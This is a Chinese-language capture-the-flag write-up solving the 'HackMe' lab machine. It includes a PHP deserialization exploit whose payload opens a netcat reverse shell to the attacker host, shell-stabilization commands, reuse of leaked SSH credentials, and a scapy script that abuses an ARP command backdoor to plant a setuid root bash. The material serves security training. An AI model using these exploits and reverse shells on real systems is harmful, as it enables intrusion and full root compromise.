

靶机不错，期待新作

靶机信息

靶机: HackMe

作者: Joker-xue

系统: Linux

难度: Easy

信息收集

存活主机扫描

arp-scan 扫描, 靶机 IP 地址为 192.168.6.159

```
arp-scan 192.168.6.0/24
```

arp 扫描过程可以发现异常, 靶机会持续响应 arp 请求

```
(root@kali)-[~]
# arp-scan 192.168.6.0/24
Interface: eth0, type: EN10MB, MAC: 08:00:27:4e:f7:ab, IPv4: 192.168.6.111
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.6.1      e0:ef:02:6f:d6:93      Chengdu Quanjing Intelligent Technology Co.,Ltd
192.168.6.159    08:00:27:ff:61:28      PCS Systemtechnik GmbH
192.168.6.159    08:00:27:ff:61:28      PCS Systemtechnik GmbH (DUP: 2)
192.168.6.159    08:00:27:ff:61:28      PCS Systemtechnik GmbH (DUP: 3)
192.168.6.159    08:00:27:ff:61:28      PCS Systemtechnik GmbH (DUP: 4)
192.168.6.159    08:00:27:ff:61:28      PCS Systemtechnik GmbH (DUP: 5)
192.168.6.159    08:00:27:ff:61:28      PCS Systemtechnik GmbH (DUP: 6)
192.168.6.159    08:00:27:ff:61:28      PCS Systemtechnik GmbH (DUP: 7)
192.168.6.156    28:0c:50:a2:cf:5b      (Unknown)
192.168.6.103    58:ce:2a:e0:93:1d      Intel Corporate
192.168.6.132    16:bc:9d:20:0a:05      (Unknown: locally administered)
192.168.6.159    08:00:27:ff:61:28      PCS Systemtechnik GmbH (DUP: 8)
192.168.6.159    08:00:27:ff:61:28      PCS Systemtechnik GmbH (DUP: 9)
192.168.6.159    08:00:27:ff:61:28      PCS Systemtechnik GmbH (DUP: 10)
192.168.6.159    08:00:27:ff:61:28      PCS Systemtechnik GmbH (DUP: 11)
192.168.6.159    08:00:27:ff:61:28      PCS Systemtechnik GmbH (DUP: 12)
192.168.6.225    54:32:04:37:04:dc      (Unknown)
```

端口扫描

nmap 扫描

- -p- 扫描所有端口
- -sS 使用 SYN 扫描, 也称为半开放扫描, 速度较快
- -n 不进行 DNS 解析, 直接使用 IP 地址, 提高扫描速度

```
nmap 192.168.6.159 -p- -ss -n
```

PORT	STATE	SERVICE
80/tcp	open	http

靶机仅开放了 80 端口

80 端口信息收集

访问 web 页面，返回一张图片



curl 请求一下

```
curl http://192.168.6.159
```

curl 警告内容是二进制数据，-o 参数保存为文件，使用 file 命令查看文件类型，一个jpeg 图片

```

(root@kali)-[~]
# curl http://192.168.6.159
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your t

(root@kali)-[~]
# curl http://192.168.6.159 -o 1.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left   Speed
100 219438    0 219438    0     0 55893k      0 --:--:-- --:--:-- --:--:-- 71431k

(root@kali)-[~]
# file 1.txt
1.txt: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=6, orientation=upper-l

(root@kali)-[~]
# mv 1.txt 1.jpg

(root@kali)-[~]
# strings 1.jpg
Exif
0221
0100
(ICC_PROFILE

```

图片分析

使用 strings 命令查看图片中的字符串，发现图片尾部追加了 php 代码，其中有段类似用户名密码的字符串，靶机没有开放 22 端口，猜测需要拿到反弹shell，内部登录ssh

```
joker:@-joker-@-123421-@
```

```

<!--
class Starter {
    public $obj;
    public function execute() {
        echo $this->obj;
    }
}
class Middle {
    public $target;
    public function __toString() {
        return $this->target->run();
    }
}
class Runner {
    public $command;
    public function run() {
        system($this->command);
    }
}
if (isset($_POST['data'])) {
    $data = base64_decode($_POST['data']);
    if ($data !== false) {
        $obj = unserialize($data);
        if (is_object($obj) && method_exists($obj, 'execute')) {
            $obj->execute();
        }
    }
}
exit;
--!>
joker:@-joker-@-123421-@
<pre><code style="color: #000000"><span style="color: #0000BB">&lt;?php
</span><span style="color: #FF8000">//
</span><span style="color: #0000BB">ini_set</span><span style="color: #007700">(</span><span style="color: #DD0000">'display_errors'</span>
</span><span style="color: #007700">);
</span><span style="color: #0000BB">error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #0000BB">)</span><span
class </span><span style="color: #0000BB">Starter </span><span style="color: #007700">{
    public </span><span style="color: #0000BB">$obj</span><span style="color: #007700">;
    </span><span style="color: #0000BB">function </span><span style="color: #007700">run() {
        </span><span style="color: #0000BB">system(</span><span style="color: #007700">$this->command</span><span style="color: #007700">;
        </span><span style="color: #0000BB">exit</span><span style="color: #007700">;
    }
}
--!>

```

PHP反序列化

把这段 php 代码提取保存到 index.php 文件中，kali 使用 php 开个web服务，进行本地测试

```
root@192.168.6.111:22

(root@kali)-[~]
# vim index.php

(root@kali)-[~]
# php -S 0.0.0.0:80

[Mon Mar 30 08:11:12 2026] PHP 8.4.11 Development Server (http://0.0.0.0:80)
[Mon Mar 30 08:11:24 2026] 192.168.6.156:60915 Accepted
[Mon Mar 30 08:11:24 2026] 192.168.6.156:60915 [200]: GET /
[Mon Mar 30 08:11:24 2026] 192.168.6.156:60915 Closing
[Mon Mar 30 08:11:24 2026] 192.168.6.156:60916 Accepted
[Mon Mar 30 08:11:24 2026] 192.168.6.156:60916 [200]: GET /favicon.i
[Mon Mar 30 08:11:24 2026] 192.168.6.156:60916 Closing

r:@-joker-@-123421-@

et('display_errors', 0);
_reporting(0);
class Starter {
    public $obj;
    public function execute() {
        echo $this->obj; //
    }
}

class Middle {
    public $target;
    public function __toString() {
        return $this->target->run();
    }
}

class Runner {
    public $command;
    public function run() {
        system($this->command);
    }
}

if (isset($_POST['data'])) {
    $data = base64_decode($_POST['data']);
    if ($data !== false) {
        $obj = unserialize($data);
        if (is_object($obj) && method_exists($obj, 'execute')) {
            $obj->execute();
        }
    }
}

exit;

$image = 'joker.jpg';
if (file_exists($image)) {
    header('Content-Type: image/jpeg');
    readfile($image);
} else {
    echo "Image not found";
}
http_response_200;
http_response_close();
```

把 php 反序列化 demo 喂给 deepseek，拿到一个 exp

```
<?php
class Starter {
    public $obj;
}

class Middle {
    public $target;
}

class Runner {
    public $command;
}

// 构造利用链
$runner = new Runner();
$runner->command = "id"; // 要执行的命令

$middle = new Middle();
$middle->target = $runner;

$starter = new Starter();
$starter->obj = $middle;

// 序列化
$serialized = serialize($starter);
echo "Serialized: " . $serialized . "\n";
```

```
// Base64 编码
$payload = base64_encode($serialized);
echo "Payload: " . $payload . "\n";
?>
```



LOAD ▼ SPLIT EXECUTE TEST ▼ SQLI ▼ XSS ▼ LFI ▼ SSRF ▼ SSTI ▼ ST

URL

http://192.168.6.159/

☒ Use POST method

enctype

application/x-www-form-urlencoded ▼

MODIFY HEADERS

Body

data=Tzo30iJTdGFydGVyIjoxOntzOjM6Im9iaiI7Tzo20iJNaWRkbGUiOjE6e
3M6NjoidGFyZ2V0IjtpOjY6IlJ1bm5lciI6MTp7czo30iJjb21tYW5kIjtzOjM
30iJidXN5Ym94IG5jIDE5MTI4xNjguNi4xMTEgNDQ0NCAtZSBiYXNoIjtzOjY0e

Name

☒ Upgrade-In

Name

☒ User-Agent

```

    public $obj;
}

class Middle {
    public $target;
}

class Runner {
    public $command;
}

// 构造利用链
$runner = new Runner();
$runner->command = "busybox nc 192.168.6.111 4444 -e bash"; // 要执行的命令

$middle = new Middle();
$middle->target = $runner;

$starter = new Starter();
$starter->obj = $middle;

// 序列化
$serialized = serialize($starter);
echo "Serialized: " . $serialized . "\n";

// Base64 编码
$payload = base64_encode($serialized);
echo "Payload: " . $payload . "\n";
?>

❏(root@kali)-[~]
❏# php exp.php
Serialized: 0:7:"Starter":1:{s:3:"obj";0:6:"Middle":1:{s:6:"target";0:6:"Runner":1:{s:7:"command";s:37:"busybox nc
Payload: Tzo30iJTdGFydGVyIjoxOntzOjM6Im9iaaiI7Tzo2OiJNaWRkbGUiOjE6e3M6NjoidGFyZ2V0IjtpOjY6I1J1bm5lciI6MTp7czo3OiJjb

❏(root@kali)-[~]
❏# nc -lvnp 4444
listening on [any] 4444 ...
id
connect to [192.168.6.111] from (UNKNOWN) [192.168.6.159] 53222
uid=33(www-data) gid=33(www-data) groups=33(www-data)

```

稳定 shell

```

(root@kali)-[~]
# nc -lvnp 4444
listening on [any] 4444 ...
id
connect to [192.168.6.111] from (UNKNOWN) [192.168.6.159] 53222
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/usr/bin/script -qc /bin/bash /dev/null
www-data@hackme:/var/www/html$ ^Z
zsh: suspended nc -lvnp 4444

(root@kali)-[~]
# stty raw -echo; fg
[1] + continued nc -lvnp 4444

www-data@hackme:/var/www/html$ export TERM=xterm
www-data@hackme:/var/www/html$ echo $SHELL
/usr/sbin/nologin
www-data@hackme:/var/www/html$ export SHELL=/bin/bash
www-data@hackme:/var/www/html$
www-data@hackme:/var/www/html$
www-data@hackme:/var/www/html$ stty rows 42 cols 208
www-data@hackme:/var/www/html$

```

💡 Tip

kali 常用稳定shell姿势（自用）

xxx: 拿到分配交互式伪终端payload

ctrl+Z 将反弹shell放到后台，执行yyy的第一句进行输入处理，再执行剩余优化部分

yyy: 拿到输入处理payload，以及后续优化体验

```

echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc
cat << 'EOF' > ~/.local/bin/xxx
#!/bin/bash
echo '

/usr/bin/script -qc /bin/bash /dev/null

'
EOF
chmod +x ~/.local/bin/xxx
cat << 'EOF' > ~/.local/bin/yyy
#!/bin/bash
echo '

stty raw -echo; fg

export TERM=xterm
echo $SHELL
export SHELL=/bin/bash

```

```
'  
rows=$(stty size | awk '{print $1}')
```

```
cols=$(stty size | awk '{print $2}')
```

```
echo "stty rows $rows cols $cols"
```

```
EOF
```

```
chmod +x ~/.local/bin/yyy
```

SSH 登录 joker

使用 joker:@-joker-@-123421-@ 凭证登录 ssh

```
www-data@hackme:/var/www/html$ ssh joker@hackme  
ssh: connect to host hackme port 22: Connection refused  
www-data@hackme:/var/www/html$ ssh joker@localhost  
The authenticity of host 'localhost (127.0.0.1)' can't be established.  
ECDSA key fingerprint is SHA256:IV6iZTL6D//10jh0d8XoSMepPgjyUfV/FpQmf3q35Hg.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Could not create directory '/var/www/.ssh' (Permission denied).  
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).  
===== ARP Scan Result (Updated at 2026-03-11 13:25:17) =====  
  
192.168.64.1    1e:57:dc:84:53:64 Unknown  
192.168.64.12  1e:b4:39:27:72:19 Unknown  
joker@localhost's password:  
Linux hackme 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64  
  
The programs included with the Debian GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
joker@hackme:~$
```

进程信息发现

查看进程信息，发现 root 用户运行 /root/arp_server.py 脚本，并使用 systemctl 重启 arp-listener.service 服务


```

www-data 1122 736 0 08:16 ? 00:00:00 sh -c busybox nc 192.168.6.111 4444 -e bash
www-data 1123 1122 0 08:16 ? 00:00:00 bash
www-data 1172 1123 0 08:17 ? 00:00:00 /usr/bin/script -qc /bin/bash /dev/null
www-data 1173 1172 0 08:17 pts/0 00:00:00 sh -c /bin/bash
www-data 1174 1173 0 08:17 pts/0 00:00:00 /bin/bash
root 1205 2 0 08:18 ? 00:00:00 [kworker/1:2-cgroup_destroy]
root 1311 2 0 08:22 ? 00:00:00 [kworker/0:1-cgroup_destroy]
root 1361 2 0 08:23 ? 00:00:00 [kworker/u4:0-events_unbound]
root 1401 2 0 08:24 ? 00:00:00 [kworker/1:0-events]
www-data 1472 1174 0 08:25 pts/0 00:00:00 ssh joker@localhost
root 1473 467 0 08:25 ? 00:00:00 sshd: joker [priv]
joker 1476 1 0 08:25 ? 00:00:00 /lib/systemd/systemd --user
joker 1477 1476 0 08:25 ? 00:00:00 (sd-pam)
joker 1496 1473 0 08:25 ? 00:00:00 sshd: joker@pts/1
joker 1497 1496 0 08:25 pts/1 00:00:00 -bash
root 1631 1 15 08:25 ? 00:00:00 /usr/bin/python3 /root/arp_server.py
root 1632 1 0 08:25 ? 00:00:00 /bin/bash -c sleep 10 && systemctl restart arp-listener.service
root 1633 1632 0 08:25 ? 00:00:00 sleep 10
joker 1636 1497 0 08:25 pts/1 00:00:00 ps -ef
joker@hackme:~$ cat /etc/systemd/system/arp-listener.service
[Unit]
Description=ARP Command Listener
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/python3 /root/arp_server.py
ExecStartPost=/bin/bash -c 'sleep 10 && systemctl restart arp-listener.service'
Restart=always
RestartSec=3
User=root

[Install]
WantedBy=multi-user.target
joker@hackme:~$ █

```



查看 arp-listener.service 服务信息，描述是 ARP Command Listener，猜测可能是后门，此处 arp 也与开头的 arp-scan 扫描时靶机持续响应 arp 请求有关

```

joker@hackme:~$ cat /etc/systemd/system/arp-listener.service
[Unit]
Description=ARP Command Listener
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/python3 /root/arp_server.py
ExecStartPost=/bin/bash -c 'sleep 10 && systemctl restart arp-listener.service'
Restart=always
RestartSec=3
User=root

[Install]
WantedBy=multi-user.target

```

尝试单播 arp 请求，同时 tcpdump 监听过滤靶机的 arp 包，查看 arp 包信息

```
(root@kali)-[~]
└─# arping -c 3 -I eth0 192.168.6.159
ARPING 192.168.6.159
60 bytes from 08:00:27:ff:61:28 (192.168.6.159): index=0 time=242.990 usec
108 bytes from 08:00:27:ff:61:28 (192.168.6.159): index=1 time=57.097 msec
60 bytes from 08:00:27:ff:61:28 (192.168.6.159): index=2 time=194.439 usec
108 bytes from 08:00:27:ff:61:28 (192.168.6.159): index=3 time=20.358 msec
60 bytes from 08:00:27:ff:61:28 (192.168.6.159): index=4 time=204.087 usec
108 bytes from 08:00:27:ff:61:28 (192.168.6.159): index=5 time=22.733 msec

--- 192.168.6.159 statistics ---
3 packets transmitted, 6 packets received, 0% unanswered (3 extra)
rtt min/avg/max/std-dev = 0.194/16.805/57.097/20.400 ms
```

tcpdump 监听过滤靶机的 arp 包, 查看 arp 包信息, 返回了 CMD: 08:32:30 up 33 min, 执行了 uptime 命令

```
tcpdump -i eth0 host 192.168.6.159 -A
```

在 arp 包中发现了类似命令执行内容, CMD: 08:32:30 up 33 min

```
(root@kali)-[~]
└─# tcpdump -i eth0 host 192.168.6.159 -A
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
08:32:26.647044 ARP, Request who-has hackme.lan tell 192.168.6.111, length 44
.....N.....O.....
08:32:26.647292 ARP, Reply hackme.lan is-at 08:00:27:ff:61:28 (oui Unknown), length 46
.....a(.....N.....O.....
08:32:26.704132 ARP, Reply hackme.lan is-at 08:00:27:ff:61:28 (oui Unknown), length 94
.....a(.....N.....O.....CMD: 08:32:29 up 33 min, 1 user, load average: 0.59, 0.27, 0.11

08:32:27.647986 ARP, Request who-has hackme.lan tell 192.168.6.111, length 44
.....N.....O.....
08:32:27.648180 ARP, Reply hackme.lan is-at 08:00:27:ff:61:28 (oui Unknown), length 46
.....a(.....N.....O.....
08:32:27.668329 ARP, Reply hackme.lan is-at 08:00:27:ff:61:28 (oui Unknown), length 94
.....a(.....N.....O.....CMD: 08:32:30 up 33 min, 1 user, load average: 0.59, 0.27, 0.11

08:32:28.649513 ARP, Request who-has hackme.lan tell 192.168.6.111, length 44
.....N.....O.....
08:32:28.649700 ARP, Reply hackme.lan is-at 08:00:27:ff:61:28 (oui Unknown), length 46
.....a(.....N.....O.....
08:32:28.672229 ARP, Reply hackme.lan is-at 08:00:27:ff:61:28 (oui Unknown), length 94
.....a(.....N.....O.....CMD: 08:32:31 up 33 min, 1 user, load average: 0.54, 0.27, 0.11

08:33:05.817889 ARP, Reply ImmortalWrt.lan is-at e0:ef:02:6f:d6:93 (oui Unknown), length 46
.....O.....a(.....
```

猜测 arp_server.py 脚本会监听 arp 包中的命令内容, 并执行命令, 执行结果通过 arp 包返回

使用脚本探测可能的利用方式

```
#!/usr/bin/env python3
from scapy.all import *
import time
```

```

TARGET = "192.168.6.159"
INTERFACE = "eth0"

def send_and_capture(cmd, method):
    if method == "raw":
        pkt = Ether(dst="ff:ff:ff:ff:ff:ff")
        pkt /= ARP(pdst=TARGET)
        pkt /= Raw(load=cmd)
    elif method == "cmd_prefix":
        pkt = Ether(dst="ff:ff:ff:ff:ff:ff")
        pkt /= ARP(pdst=TARGET)
        pkt /= Raw(load=f"CMD:{cmd}")
    elif method == "exec_prefix":
        pkt = Ether(dst="ff:ff:ff:ff:ff:ff")
        pkt /= ARP(pdst=TARGET)
        pkt /= Raw(load=f"EXEC:{cmd}")
    elif method == "shell_prefix":
        pkt = Ether(dst="ff:ff:ff:ff:ff:ff")
        pkt /= ARP(pdst=TARGET)
        pkt /= Raw(load=f"shell:{cmd}")
    elif method == "run_prefix":
        pkt = Ether(dst="ff:ff:ff:ff:ff:ff")
        pkt /= ARP(pdst=TARGET)
        pkt /= Raw(load=f"run:{cmd}")
    elif method == "mac":
        cmd_bytes = cmd.encode()[:6]
        mac = ':'.join(f"{b:02x}" for b in cmd_bytes.ljust(6, b'\x00'))
        pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff")
        pkt /= ARP(pdst=TARGET)

    print(f"[{method}] Sending: {cmd}")
    sendp(pkt, iface=INTERFACE, verbose=False)

    print(f"[{method}] waiting 10 seconds for response...")
    packets = sniff(filter=f"arp and host {TARGET}", timeout=10, iface=INTERFACE)

    if packets:
        for pkt in packets:
            print(f"[{method}] Response received:")
            if Raw in pkt:
                data = pkt[Raw].load.decode('utf-8', errors='ignore')
                print(f"  Data: {data}")
            else:
                pkt.show()
    else:
        print(f"[{method}] No response after 10 seconds")

    print()

print("Testing ARP backdoor")
print(f"Target: {TARGET}\n")

methods = ["raw", "cmd_prefix", "exec_prefix", "shell_prefix", "run_prefix", "mac"]

```

```

for method in methods:
    send_and_capture("id", method)

print("Test complete")

```

测试发现，只有带有 `CMD:` 前缀的 arp 包会被执行，并通过 arp 包返回结果

```

[raw] Response received:
###[ Ethernet ]###
  dst      = 08:00:27:4e:f7:ab
  src      = 08:00:27:ff:61:28
  type     = ARP
###[ ARP ]###
  hwtype   = Ethernet (10Mb)
  ptype    = IPv4
  hwlen    = 6
  plen     = 4
  op       = is-at
  hwsrc    = 08:00:27:ff:61:28
  psrc     = 192.168.6.159
  hwdst    = 08:00:27:4e:f7:ab
  pdst     = 192.168.6.111
###[ Padding ]###
  load     = b'CMD: 08:44:41 up 45 min,  1 user,  load average: 0.01, 0.04, 0.06\n'

[cmd_prefix] Sending: id
[cmd_prefix] Waiting 10 seconds for response...
[cmd_prefix] Response received:
###[ Ethernet ]###
  dst      = 08:00:27:4e:f7:ab
  src      = 08:00:27:ff:61:28
  type     = ARP
###[ ARP ]###
  hwtype   = Ethernet (10Mb)
  ptype    = IPv4
  hwlen    = 6
  plen     = 4
  op       = is-at
  hwsrc    = 08:00:27:ff:61:28
  psrc     = 192.168.6.159
  hwdst    = 08:00:27:4e:f7:ab
  pdst     = 192.168.6.111
###[ Padding ]###
  load     = b'uid=0(root) gid=0(root) groups=0(root)\n'

```



```

#!/usr/bin/env python3
import sys
from scapy.all import *

TARGET = "192.168.6.159"
INTERFACE = "eth0"

def execute_command(command):
    pkt = Ether(dst="ff:ff:ff:ff:ff:ff")
    pkt /= ARP(pdst=TARGET)
    pkt /= Raw(load=f"CMD: {command}")

    sendp(pkt, iface=INTERFACE, verbose=False)

    packets = sniff(filter=f"arp and host {TARGET}", timeout=10, iface=INTERFACE)

```

```

for pkt in packets:
    if Raw in pkt:
        return pkt[Raw].load.decode('utf-8', errors='ignore')
    return "No response"

if len(sys.argv) < 2:
    print("Usage: python3 exp.py <command>")
    print("Example: python3 exp.py id")
    sys.exit(1)

command = sys.argv[1]
result = execute_command(command)
print(result)

```

似乎不能有空格，有空格时命令不会执行

```

(root@kali)-[~]
# tcpdump -i eth0 -A host 192.168.6.159
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
13:08:46.532453 ARP, Request who-has hackme.lan tell 192.168.6.111, length 34
.....'N.....O.....CMD:id
13:08:46.532671 ARP, Reply hackme.lan is-at 08:00:27:ff:61:28 (oui Unknown), length 46
.....'.a(.....'N.....O.....
13:08:46.554036 ARP, Reply hackme.lan is-at 08:00:27:ff:61:28 (oui Unknown), length 67
.....'.a(.....'N.....oid=0(root) gid=0(root) groups=0(root)

13:08:59.967383 ARP, Request who-has hackme.lan tell 192.168.6.111, length 36
.....'N.....O.....CMD:ls /
13:08:59.967594 ARP, Reply hackme.lan is-at 08:00:27:ff:61:28 (oui Unknown), length 46
.....'.a(.....'N.....O.....
13:09:00.019262 ARP, Reply hackme.lan is-at 08:00:27:ff:61:28 (oui Unknown), length 71
.....'.a(.....'N.....oIncorrect input format, are you a hacker???

```

重定向符号 > 也会检测

```

(root@kali)-[~]
# tcpdump -i eth0 -A host 192.168.6.159
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
13:15:05.675728 ARP, Request who-has hackme.lan tell 192.168.6.111, length 41
.....'N.....O.....CMD:id>/tmp/1
13:15:05.675945 ARP, Reply hackme.lan is-at 08:00:27:ff:61:28 (oui Unknown), length 46
.....'.a(.....'N.....O.....
13:15:05.723819 ARP, Reply hackme.lan is-at 08:00:27:ff:61:28 (oui Unknown), length 70
.....'.a(.....'N.....oLength exceeded limit, are you a hacker???

```

直接执行可执行脚本会报错

```
joker@hackme:/tmp$ echo 'touch /tmp/success' > a
joker@hackme:/tmp$ chmod +x /tmp/a
joker@hackme:/tmp$ ls -alh /tmp/a
-rwxr-xr-x 1 joker joker 19 Mar 30 13:21 /tmp/a
joker@hackme:/tmp$
```

```
(root@kali)-[~]
# tcpdump -i eth0 -A host 192.168.6.159
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
13:21:59.471687 ARP, Request who-has hackme.lan tell 192.168.6.111, length 38
.....'N.....o.....CMD:/tmp/a
13:21:59.471889 ARP, Reply hackme.lan is-at 08:00:27:ff:61:28 (oui Unknown), length 46
.....'.a(.....'N.....o.....
13:21:59.494362 ARP, Reply hackme.lan is-at 08:00:27:ff:61:28 (oui Unknown), length 46
.....'.a(.....'N.....oerror.....
```

补充 shebang 行可以正常执行

```
joker@hackme:/tmp$ cat /tmp/a
#!/bin/bash
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
joker@hackme:/tmp$ ls -alh /tmp/a
-rwxr-xr-x 1 joker joker 54 Mar 30 13:24 /tmp/a
joker@hackme:/tmp$ ls -alh /tmp
total 1.2M
drwxrwxrwt 10 root root 4.0K Mar 30 13:24 .
drwxr-xr-x 18 root root 4.0K Mar 18 2025 ..
-rwxr-xr-x 1 joker joker 54 Mar 30 13:24 a
-rwsr-sr-x 1 root root 1.2M Mar 30 13:25 bash
drwxrwxrwt 2 root root 4.0K Mar 30 12:39 .font-unix
drwxrwxrwt 2 root root 4.0K Mar 30 12:39 .ICE-unix
drwx----- 3 root root 4.0K Mar 30 12:39 systemd-private-ff86db0d25c042cb93b7818d10197c24-apache2.service-YLJvTf
drwx----- 3 root root 4.0K Mar 30 12:39 systemd-private-ff86db0d25c042cb93b7818d10197c24-systemd-logind.service-sPh6qg
drwx----- 3 root root 4.0K Mar 30 12:39 systemd-private-ff86db0d25c042cb93b7818d10197c24-systemd-timesyncd.service-grXVEh
drwxrwxrwt 2 root root 4.0K Mar 30 12:39 .Test-unix
drwxrwxrwt 2 root root 4.0K Mar 30 12:39 .X11-unix
drwxrwxrwt 2 root root 4.0K Mar 30 12:39 .XIM-unix
joker@hackme:/tmp$
```

```
(root@kali)-[~]  
# tcpdump -i eth0 -A host 192.168.6.159  
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode  
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes  
13:25:04.344230 ARP, Request who-has hackme.lan tell 192.168.6.111, length 38  
.....N.....O.....CMD:/tmp/a  
13:25:04.344431 ARP, Reply hackme.lan is-at 08:00:27:ff:61:28 (oui Unknown), length 46  
.....'.a(.....'N.....O.....  
13:25:04.407854 ARP, Reply hackme.lan is-at 08:00:27:ff:61:28 (oui Unknown), length 46  
.....'.a(.....'N.....OOK.....  
^C  
3 packets captured  
3 packets received by filter  
0 packets dropped by kernel
```



```
(root@kali)-[~]  
#
```